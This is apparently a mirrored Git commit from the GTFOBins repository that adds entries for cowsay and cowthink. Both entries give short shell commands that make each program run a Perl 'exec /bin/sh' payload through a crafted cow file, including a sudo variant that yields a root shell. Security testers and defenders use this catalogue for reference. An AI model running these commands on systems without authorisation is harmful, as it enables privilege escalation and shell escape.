mirror of
https://github.com/GTFOBins/GTFOBins.github.io.git
synced 2024-11-08 07:49:17 +01:00
Add cowsay and cowthink
This commit is contained in:
parent
e242e92634
commit
cbfec71fa5
14
_gtfobins/cowsay.md
Normal file
14
_gtfobins/cowsay.md
Normal file
@ -0,0 +1,14 @@
|
|||||||
|
---
|
||||||
|
description: It allows to execute [`perl`](/gtfobins/perl) code, other functions may apply.
|
||||||
|
functions:
|
||||||
|
shell:
|
||||||
|
- code: |
|
||||||
|
TF=$(mktemp)
|
||||||
|
echo 'exec "/bin/sh";' >$TF
|
||||||
|
cowsay -f $TF x
|
||||||
|
sudo:
|
||||||
|
- code: |
|
||||||
|
TF=$(mktemp)
|
||||||
|
echo 'exec "/bin/sh";' >$TF
|
||||||
|
sudo cowsay -f $TF x
|
||||||
|
---
|
14
_gtfobins/cowthink.md
Normal file
14
_gtfobins/cowthink.md
Normal file
@ -0,0 +1,14 @@
|
|||||||
|
---
|
||||||
|
description: It allows to execute [`perl`](/gtfobins/perl) code, other functions may apply.
|
||||||
|
functions:
|
||||||
|
shell:
|
||||||
|
- code: |
|
||||||
|
TF=$(mktemp)
|
||||||
|
echo 'exec "/bin/sh";' >$TF
|
||||||
|
cowthink -f $TF x
|
||||||
|
sudo:
|
||||||
|
- code: |
|
||||||
|
TF=$(mktemp)
|
||||||
|
echo 'exec "/bin/sh";' >$TF
|
||||||
|
sudo cowthink -f $TF x
|
||||||
|
---
|
Loading…
Reference in New Issue
Block a user